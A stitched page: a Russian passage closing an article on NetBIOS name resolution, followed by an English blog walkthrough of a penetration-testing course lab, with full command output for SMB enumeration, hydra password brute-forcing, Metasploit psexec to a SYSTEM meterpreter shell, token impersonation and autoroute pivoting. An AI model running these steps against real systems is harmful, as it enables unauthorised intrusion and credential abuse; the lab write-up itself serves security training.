5. Локальный кеш DNS. Файл hosts (записи из него включаются в локальный кеш DNS);
6. DNS-сервер;

То есть, как мы видим из последовательности, используется сначала логика разрешения имен NetBIOS, а потом уже, если имеется необходимость, вызываются функции API Winsock.
Исходя из всего вышеописанного, довольно сложно составить какой-то обобщенный алгоритм разрешения имен, однако я все же постараюсь это сделать. Для наглядной демонстрации описанной логики я приведу схему, описывающую собственное понимание происходящего. Стоит, однако, отметить, что в зависимости от API, которое используется для разрешения имени, части данной схемы могут меняться местами.

Картинка с сайта: windowsa.ru

На этой оптимистической ноте я и хотел бы завершить теоретическую часть обзора NetBIOS через TCP/IP. Очевидно, что на данный момент NetBIOS морально устарел и содержит впечатляющее количество недоработок. К примеру, одним из существенных недостатков безопасности NetBIOS является предоставление информации о сетевых сервисах (ресурсах) любому узлу в сети в ответ на типовой запрос, то есть отсутствуют какие бы то ни было критерии разграничения доступа. Вероятно, архитектура NetBIOS уже настолько неоптимальна, что в какой-то момент разработчики MS отказались от её доработки с целью поддержки современных сетевых стандартов. Microsoft, судя по всему, всячески пытается избавиться от протокола, и подтверждением тому служит и тот факт, что был написан аналог — PNRP (LLMNR). В следующих статьям мы познакомимся с такими часто встречающимися на практике примерами, как подключение к ресурсам посредством NetBIOS, построение объектов сетевого окружения через NetBIOS.

From Wikipedia, the free encyclopedia

This post will cover NetBIOS, the Windows file-sharing protocol. Specifically a lab walkthrough from the eLS PTP course.

We’re told there’s one public IP 10.130.40.70 and the rest of the organisation’s machines are in the private IP subnet 172.30.111.0/24 accessible to 10.130.40.70 via IPSec. Off the bat, this means the other machines cannot be accessed directly and the labs’ tasks make it clear that you are to focus on taking down 10.130.40.70 first.

Картинка с сайта: ivanitlearning.wordpress.com

As usual we start with port scanning 10.130.40.70

C:\Stuff\Learning\Infosec\PTP\Enumeration>nmap -O -sV -Pn -n 10.130.40.70
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 18:04 Malay Peninsula Standard Time
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 18:07 (0:01:42 remaining)
Nmap scan report for 10.130.40.70
Host is up (0.19s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=11/10%OT=135%CT=1%CU=39712%PV=Y%DS=2%DC=I%G=Y%TM=5BE6A
OS:D89%P=i686-pc-windows-windows)SEQ(SP=105%GCD=1%ISR=108%TI=I%II=I%SS=S%TS
OS:=7)SEQ(II=I)OPS(O1=M539NW8ST11%O2=M539NW8ST11%O3=M539NW8NNT11%O4=M539NW8
OS:ST11%O5=M539NW8ST11%O6=M539ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2
OS:000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M539NW8NNS%CC=N%Q=)ECN(R=N)T1(R=Y
OS:%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=80%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: ELS-WIN7; OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.15 seconds

Note the highlighted services which are running. This means we can use either nbtstat (Windows) or nmblookup (Linux) to enumerate the NetBIOS services running

C:\>nbtstat –a 10.130.40.70
Node IpAddress: [172.16.10.5] Scope Id: []

           NetBIOS Remote Machine Name Table

       Name               Type         Status
    ---------------------------------------------
    ELS-WIN7       <00>  UNIQUE      Registered
    WORKGROUP      <00>  GROUP       Registered
    ELS-WIN7       <20>  UNIQUE      Registered
    WORKGROUP      <1E>  GROUP       Registered
    WORKGROUP      <1D>  UNIQUE      Registered
    ☺☻__MSBROWSE__☻<01>  GROUP       Registered

MAC Address = 00-50-56-A1-45-5A

nmblookup on Linux (note that WordPress cannot display <B> for some reason)

#nmblookup –A 10.130.40.70
Looking up status of 10.130.40.70

       ELS-WIN7        <00> -         B 
       WORKGROUP       <00> -  B 
       ELS-WIN7        <20> -         B 
       WORKGROUP       <1e> -  B 
       WORKGROUP       <1d> -         B 
       ..__MSBROWSE__. <01> -  B 

       MAC Address = 00-50-56-A1-45-5A

The <20> indicates the host has shared files enabled. Next step, throw the entire kitchen sink at the host with enum4linux:

root@Kali:~# enum4linux -a -v 10.130.40.70
[V] Dependent program "nmblookup" found in /usr/bin/nmblookup
[V] Dependent program "net" found in /usr/bin/net
[V] Dependent program "rpcclient" found in /usr/bin/rpcclient
[V] Dependent program "smbclient" found in /usr/bin/smbclient
[V] Dependent program "polenum" found in /usr/bin/polenum
[V] Dependent program "ldapsearch" found in /usr/bin/ldapsearch
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Nov 10 18:21:50 2018

==========================
| Target Information |
==========================
Target ........... 10.130.40.70
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

====================================================
| Enumerating Workgroup/Domain on 10.130.40.70 |
====================================================
[V] Attempting to get domain name with command: nmblookup -A '10.130.40.70'
[+] Got domain/workgroup name: WORKGROUP

============================================
| Nbtstat Information for 10.130.40.70 |
============================================
Looking up status of 10.130.40.70
ELS-WIN7 <00> - B Workstation Service
WORKGROUP <00> - B Domain/Workgroup Name
ELS-WIN7 <20> - B File Server Service
WORKGROUP <1e> - B Browser Service Elections
WORKGROUP <1d> - B Master Browser
..__MSBROWSE__. <01> - B Master Browser

MAC Address = 00-50-56-A1-45-5A

=====================================
| Session Check on 10.130.40.70 |
=====================================
[V] Attempting to make null session using command: smbclient -W 'WORKGROUP' //'10.130.40.70'/ipc$ -U''%'' -c 'help' 2>&1
[+] Server 10.130.40.70 allows sessions using username '', password ''

===========================================
| Getting domain SID for 10.130.40.70 |
===========================================
[V] Attempting to get domain SID with command: rpcclient -W 'WORKGROUP' -U''%'' 10.130.40.70 -c 'lsaquery' 2>&1
could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid from server
error: NT_STATUS_ACCESS_DENIED
[+] Can't determine if host is part of domain or part of a workgroup

======================================
| OS information on 10.130.40.70 |
======================================
[V] Attempting to get OS info with command: smbclient -W 'WORKGROUP' //'10.130.40.70'/ipc$ -U''%'' -c 'q' 2>&1
[+] Got OS info for 10.130.40.70 from smbclient: Domain=[ELS-WIN7] OS=[Windows 7 Professional 7600] Server=[Windows 7 Professional 6.1]
[V] Attempting to get OS info with command: rpcclient -W 'WORKGROUP' -U''%'' -c 'srvinfo' '10.130.40.70' 2>&1
[E] Can't get OS info with srvinfo: NT_STATUS_ACCESS_DENIED

=============================
| Users on 10.130.40.70 |
=============================
[V] Attempting to get userlist with command: rpcclient -W 'WORKGROUP' -c querydispinfo -U''%'' '10.130.40.70' 2>&1
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

[V] Attempting to get userlist with command: rpcclient -W 'WORKGROUP' -c enumdomusers -U''%'' '10.130.40.70' 2>&1
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

=========================================
| Share Enumeration on 10.130.40.70 |
=========================================
[V] Attempting to get share list using authentication
[E] Can't list shares: NT_STATUS_ACCESS_DENIED

[+] Attempting to map shares on 10.130.40.70

====================================================
| Password Policy Information for 10.130.40.70 |
====================================================
[V] Attempting to get Password Policy info with command: polenum '':''@'10.130.40.70' 2>&1
[E] Unexpected error from polenum:

[+] Attaching to 10.130.40.70 using a NULL share
[+] Trying protocol 445/SMB...
[!] Protocol failed: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
[+] Trying protocol 139/SMB...
[!] Protocol failed: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
[V] Attempting to get Password Policy info with command: rpcclient -W 'WORKGROUP' -U''%'' '10.130.40.70' -c "getdompwinfo" 2>&1
[E] Failed to get password policy with rpcclient

==============================
| Groups on 10.130.40.70 |
==============================
[V] Getting builtin groups with command: rpcclient -W 'WORKGROUP' -U''%'' '10.130.40.70' -c 'enumalsgroups builtin' 2>&1

[+] Getting builtin groups:
[E] Can't get builtin groups: NT_STATUS_ACCESS_DENIED

[+] Getting builtin group memberships:
[V] Getting local groups with command: rpcclient -W 'WORKGROUP' -U''%'' '10.130.40.70' -c 'enumalsgroups domain' 2>&1

[+] Getting local groups:
[E] Can't get local groups: NT_STATUS_ACCESS_DENIED

[+] Getting local group memberships:
[V] Getting domain groups with command: rpcclient -W 'WORKGROUP' -U''%'' '10.130.40.70' -c "enumdomgroups" 2>&1

[+] Getting domain groups:
[E] Can't get domain groups: NT_STATUS_ACCESS_DENIED

[+] Getting domain group memberships:

=======================================================================
| Users on 10.130.40.70 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
[V] Attempting to get SID from 10.130.40.70 with command: rpcclient -W 'WORKGROUP' -U''%'' '10.130.40.70' -c 'lookupnames administrator' 2>&1
[V] Assuming that user "administrator" exists
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
[V] Attempting to get SIDs from 10.130.40.70 with command: rpcclient -W 'WORKGROUP' -U''%'' '10.130.40.70' -c lsaenumsid 2>&1

=============================================
| Getting printer info for 10.130.40.70 |
=============================================
[V] Attempting to get printer info with command: rpcclient -W 'WORKGROUP' -U''%'' -c 'enumprinters' '10.130.40.70' 2>&1
could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid from server
error: NT_STATUS_ACCESS_DENIED

enum4linux complete on Sat Nov 10 18:22:20 2018

From the above, we can conclude a few things:

1. The system is vulnerable to a null session attack.
2. However the null session is severely limited, unable to enumerate users, shares, password policies.

Never mind. Let’s see what we can do with a null session nonetheless. Spinning up my Win Vista Ultimate 6.0 SP1 machine, I run this command and browse the shared network

C:\>net use \\10.130.40.70\IPC$ "" /u:""

Картинка с сайта: ivanitlearning.wordpress.com

As you can see, no info is given except the machine name and an empty shared Printers folder. Trying with Kali also yields no new info; listing isn’t allowed.

root@Kali:~# smbclient //10.130.40.70/IPC$ -U""
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Anonymous login successful
Domain=[ELS-WIN7] OS=[Windows 7 Professional 7600] Server=[Windows 7 Professional 6.1]
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit

eLS covers an alternative I didn’t try but which leads to the same results

root@Kali:~# smbclient -L 10.130.40.70
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Anonymous login successful
Domain=[ELS-WIN7] OS=[Windows 7 Professional 7600] Server=[Windows 7 Professional 6.1]

Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED
Connection to 10.130.40.70 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
NetBIOS over TCP disabled -- no workgroup available

This is where the lab takes a turn I don’t particularly like. The lab manual suggests brute-forcing our way through since the null session doesn’t permit anything. So I ran the smb-brute script with nmap (with verbose arg):

C:\Stuff\Learning\Infosec\PTP\Enumeration>nmap -script=smb-brute 10.130.40.70 -v
Completed NSE at 19:48, 607.37s elapsed
Nmap scan report for 10.130.40.70
Host is up (0.24s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Host script results:
| smb-brute:
|_ guest: => Valid credentials, account disabled

NSE: Script Post-scanning.
Initiating NSE at 19:48
Completed NSE at 19:48, 0.00s elapsed
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 622.10 seconds
     Raw packets sent: 1009 (44.372KB) | Rcvd: 1005 (40.240KB)

What does valid guest credentials meant, when account was disabled? I had no idea, even with Google. The other eLS suggestion was Metasploit smb_login module. However since I had no patience and bearing in mind the exam will seldom (if at all) hinge on brute-forcing I went ahead and checked the answers. Apart from the suggested nmap script engine or Metasploit (which is restricted to 1 use on OSCP), one could go ahead and use hydra as well. Checking ahead the usernames were test and administrator so I used those and just ran against the password lists provided in the PTS exam.

root@Kali:~# hydra smb://10.130.40.70 -l test -P/root/exam/passwordslist -V
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-10 22:32:56
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1556 login tries (l:1/p:1556), ~1556 tries per task
[DATA] attacking smb://10.130.40.70:445/
[ATTEMPT] target 10.130.40.70 - login "test" - pass "123456" - 1 of 1556 [child 0] (0/0)
[ATTEMPT] target 10.130.40.70 - login "test" - pass "12345" - 2 of 1556 [child 0] (0/0)
[445][smb] host: 10.130.40.70 login: test password: 12345
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-11-10 22:33:08
root@Kali:~# hydra smb://10.130.40.70 -l administrator -P/root/exam/passwordslist -V
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-10 22:34:27
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 1556 login tries (l:1/p:1556), ~1556 tries per task
[DATA] attacking smb://10.130.40.70:445/
[ATTEMPT] target 10.130.40.70 - login "administrator" - pass "123456" - 1 of 1556 [child 0] (0/0)
[ATTEMPT] target 10.130.40.70 - login "administrator" - pass "12345" - 2 of 1556 [child 0] (0/0)
[ATTEMPT] target 10.130.40.70 - login "administrator" - pass "123456789" - 3 of 1556 [child 0] (0/0)
[ATTEMPT] target 10.130.40.70 - login "administrator" - pass "password" - 4 of 1556 [child 0] (0/0)
[445][smb] host: 10.130.40.70 login: administrator password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-11-10 22:34:30

Ok, so now we’ve got our login credentials. The lab manual then says to exploit the machine using the Metasploit psexec module. Before doing that, let’s check out what we can find out by using rpcclient to login with the credentials. I used some of the rpcclient commands here.

This is for user:test, password: 12345

root@Kali:~# rpcclient -U "test" 10.130.40.70
Enter WORKGROUP\test's password:
rpcclient $> ls
command not found: ls
rpcclient $> enum
enumalsgroups enumdomains enumdrivers enumkey enumprinters enumprocs
enumdata enumdomgroups enumforms enummonitors enumprivs enumtrust
enumdataex enumdomusers enumjobs enumports enumprocdatatypes
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[eLS] rid:[0x3e8]
user:[Guest] rid:[0x1f5]
user:[test] rid:[0x3e9]
rpcclient $> querydominfo
Domain: eLS-Win7
Server:
Comment:
Total Users: 4
Total Groups: 1
Total Aliases: 0
Sequence No: 39
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> getdompwinfo
min_password_length: 0
password_properties: 0x00000000
rpcclient $> netshareenum
result was WERR_ACCESS_DENIED
rpcclient $> netshareenumall
result was WERR_ACCESS_DENIED
rpcclient $> srvinfo
        10.130.40.70 Wk Sv NT PtB LMB 
        platform_id : 500
        os version : 6.1
        server type : 0x51003

We see the test, Adminstrator account but also an eLS account. Note that this account’s privileges are limited; we are unable to list the shares as highlighted. So let’s hop on to the other administrator account

user:administrator, password: password

root@Kali:~# rpcclient -U "administrator" 10.130.40.70
Enter WORKGROUP\administrator's password: 
rpcclient $> netshareenumall
netname: ADMIN$
	remark:	Remote Admin
	path:	C:\Windows
	password:	(null)
netname: C$
	remark:	Default share
	path:	C:\
	password:	(null)
netname: Documents
	remark:	
	path:	C:\Users\eLS\Documents
	password:	(null)
netname: IPC$
	remark:	Remote IPC
	path:	
	password:	(null)
netname: Users
	remark:	
	path:	C:\Users
	password:	(null)
rpcclient $> lookupnames administrator
administrator S-1-5-21-385410306-520856831-1886504457-500 (User: 1)

Great! This time we managed to list the shares and also note they aren’t password protected. Ok, now let’s go ahead and run the psexec Metasploit module. We should aim to get a meterpreter shell with the administrator creds.

As usual fire up msfconsole, taking note to run service postgresql start before to speed up the database search. At first I was unsuccessful in obtaining the meterpreter shell

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                                  yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set RHOST 10.130.40.70
RHOST => 10.130.40.70
msf exploit(psexec) > set SMBPass password
SMBPass => password
msf exploit(psexec) > set SMBuser administrator
SMBuser => administrator
msf exploit(psexec) > exploit

[*] Started reverse TCP handler on 192.168.92.129:4444 
[*] 10.130.40.70:445 - Connecting to the server...
[*] 10.130.40.70:445 - Authenticating to 10.130.40.70:445 as user 'administrator'...
[*] 10.130.40.70:445 - Selecting PowerShell target
[*] 10.130.40.70:445 - Executing the payload...
[+] 10.130.40.70:445 - Service start timed out, OK if running a command or non-service executable...
[*] Exploit completed, but no session was created.

At this point I had no idea what was wrong. So I Googled a long time before I came across a good answer. Apparently the default payload assumed is reverse TCP, as highlighted above. To make reverse TCP work, you need to supply an IP address which is reachable from the remote host. It doesn’t matter if we are using a private IP address since the OpenVPN connection will assign us an IP to bridge the connection. However, most of us run Kali in a virtual environment where OpenVPN is installed outside it. The additional network segregation makes the local host unreachable. So either install OpenVPN on Kali, or run Metasploit in the same environment as OpenVPN or use bind_tcp, the other payload.

bind_tcp, unlike reverse_tcp doesn’t require the remote host to reach back and connect to the local host port. It forces open a port on the remote host for local host to connect through and establish a meterpreter session

msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set RHOST 10.130.40.70
RHOST => 10.130.40.70
msf exploit(psexec) > set SMBPass password
SMBPass => password
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 10.130.40.70     yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               password         no        The password for the specified username
   SMBUser               administrator    no        The username to authenticate as

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.130.40.70     no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > exploit

[*] Started bind handler
[*] 10.130.40.70:445 - Connecting to the server...
[*] 10.130.40.70:445 - Authenticating to 10.130.40.70:445 as user 'administrator'...
[*] 10.130.40.70:445 - Selecting PowerShell target
[*] 10.130.40.70:445 - Executing the payload...
[+] 10.130.40.70:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179267 bytes) to 10.130.40.70
[*] Meterpreter session 1 opened (192.168.92.129:40563 -> 10.130.40.70:4444) at 2018-11-10 23:34:26 +0800

Right so let’s test what privileges have:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Ok great. We have full admin rights. Next to confirm we are really on the remote machine.

meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:50:56:a1:45:5a
MTU          : 1500
IPv4 Address : 10.130.40.70
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::18ae:9176:130c:bb05
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280

Let’s drop a command line shell to explore the machine locally

meterpreter > shell
Process 2476 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::18ae:9176:130c:bb05%11
   IPv4 Address. . . . . . . . . . . : 10.130.40.70
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.130.40.1

Our next step is to discover hosts within the internal 172.30.111.0/24 network. It’s strange we did not see an interface belonging to the network above, but pinging 172.30.111.1 works. So I did a route print to see if there were any routes to the 172.30.111.0 network

C:\Windows\system32>route print
route print
===========================================================================
Interface List
 11...00 50 56 a1 45 5a ......Intel(R) PRO/1000 MT Network Connection
  1...........................Software Loopback Interface 1
 12...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      10.130.40.1     10.130.40.70    266
      10.130.40.0    255.255.255.0         On-link      10.130.40.70    266
     10.130.40.70  255.255.255.255         On-link      10.130.40.70    266
    10.130.40.255  255.255.255.255         On-link      10.130.40.70    266
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    306
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    306
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    306
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    306
        224.0.0.0        240.0.0.0         On-link      10.130.40.70    266
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    306
  255.255.255.255  255.255.255.255         On-link      10.130.40.70    266
===========================================================================
Persistent Routes:
  Network Address          Netmask  Gateway Address  Metric
          0.0.0.0          0.0.0.0      10.32.120.1  Default 
          0.0.0.0          0.0.0.0      10.130.40.1  Default 
          0.0.0.0          0.0.0.0      10.32.120.1  Default 
          0.0.0.0          0.0.0.0      10.32.120.1  Default 
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
  1    306 ::1/128                  On-link
 11    266 fe80::/64                On-link
 11    266 fe80::18ae:9176:130c:bb05/128
                                    On-link
  1    306 ff00::/8                 On-link
 11    266 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None

C:\Windows\system32>tracert 172.30.111.1
tracert 172.30.111.1

Tracing route to 172.30.111.1 over a maximum of 30 hops

  1    <1 ms    <1 ms    <1 ms  172.30.111.1 

Trace complete.

While there was a route to 172.30.111.1 it doesn’t appear on the machine’s route table. This persists even after adding the route as you’ll see later on.

Nevertheless let’s explore the machine to see if there’s anything of note.

C:\Windows\system32>net share
net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share                     
IPC$                                         Remote IPC                        
ADMIN$       C:\Windows                      Remote Admin                      
Documents    C:\Users\eLS\Documents          
Users        C:\Users                        
The command completed successfully.

C:\Windows>cd C:\Users\eLS\Documents
cd C:\Users\eLS\Documents

C:\Users\eLS\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE8A-6C22

 Directory of C:\Users\eLS\Documents

07/23/2012  07:32 AM    DIR          .
07/23/2012  07:32 AM    DIR          ..
07/23/2012  07:35 AM                43 foocompany_shared_file.txt
               1 File(s)             43 bytes
               2 Dir(s)   1,044,000,768 bytes free

C:\Users\eLS\Documents>type foocompany_shared_file.txt
type foocompany_shared_file.txt
Useless file. Nothing really important here

Bummer. That could have been a flag. Now add the route to 172.30.111.0 with autoroute:

meterpreter > run autoroute -s 172.30.111.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.30.111.0/255.255.255.0...
[+] Added route to 172.30.111.0/255.255.255.0 via 10.130.40.70
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.130.40.0        255.255.255.0      Session 1
   172.30.111.0       255.255.255.0      Session 1

Ok. So now lets scan the 172.30.111.0 network for hosts vulnerable to null session attacks. Initially I tried the Metasploit SYN scanner (auxiliary/scanner/portscan/syn), but for some reason it returned nothing, only the TCP scanner did.

meterpreter > background
[*] Backgrounding session 2...
msf exploit(psexec) > use auxiliary/scanner/portscan/tcp
Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        139,445          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       172.30.111.0/24  yes       The target address range or CIDR identifier
   THREADS      10               yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf auxiliary(tcp) > run

[+] 172.30.111.10:        - 172.30.111.10:139 - TCP OPEN
[+] 172.30.111.10:        - 172.30.111.10:445 - TCP OPEN
[*] Scanned  28 of 256 hosts (10% complete)
[*] Scanned  52 of 256 hosts (20% complete)
[*] Scanned  80 of 256 hosts (31% complete)
[*] Scanned 105 of 256 hosts (41% complete)
[*] Scanned 130 of 256 hosts (50% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 206 of 256 hosts (80% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

Ok we got only 1 host which is up, where NetBIOS ports 139, 445 are open. At this point we could connect directly and try a null session attack. But this is where we need to understand that NT AUTHORITY\SYSTEM isn’t everything. It only allows you full admin rights to the local machine, not necessarily to the shares other clients provide it. As a link helpfully provided by the eLS forum folks points out:

Well, Did it occur to you that you have hacked to a SYSTEM account in a pentest and wanted to get more information regarding the user who runs this computer shares, the user folder mappings and stuff like that?
If it did, than you know it would be best to use Impersonation to Admin *EVEN* if you’re already running as SYSTEM (“Downgrading your privileges”) account and run a thread or another process as Admin.

If you would do : net use/subst/other commands as SYSTEM you wouldn’t see the same results the Admin gets for the same commands (because of session separation).

Also, You’d be able to view remote shares as Admin (if the user running this computer has remote shares he sees), you’ll be able to view them and have the same rights to them on a remote computer (without knowing/changing the Admin’s password)! As SYSTEM you wouldn’t have it. At all. bummer.

Text bolded for emphasis. So let’s downgrade it to an administrator account. We do this by using the meterpreter incognito extension:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
eLS-Win7\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token eLS-Win7\\Administrator
[+] Delegation token available
[+] Successfully impersonated user eLS-Win7\Administrator
meterpreter > getuid
Server username: eLS-Win7\Administrator

So we now have the access rights to enumerate shares. The eLS solution does this entirely within the Win cmd shell but I’ll show another way to do it, one which teaches another tool, specifically proxychains. (BTW this entire approach is known as pivoting where we leverage on  the first compromised host to exploit other hosts. The Singhealth hack utilised this approach).

Why would you want to do it via proxychains instead of the simpler cmd shell? Firstly, proxychains allow us to more tools  which can run directly from Kali instead of relying on Metasploit, meterpreter modules or Win cmd line tools. Apart from official documentation, you can peruse another tutorial using that and related tools here. I certainly learned a lot from that.

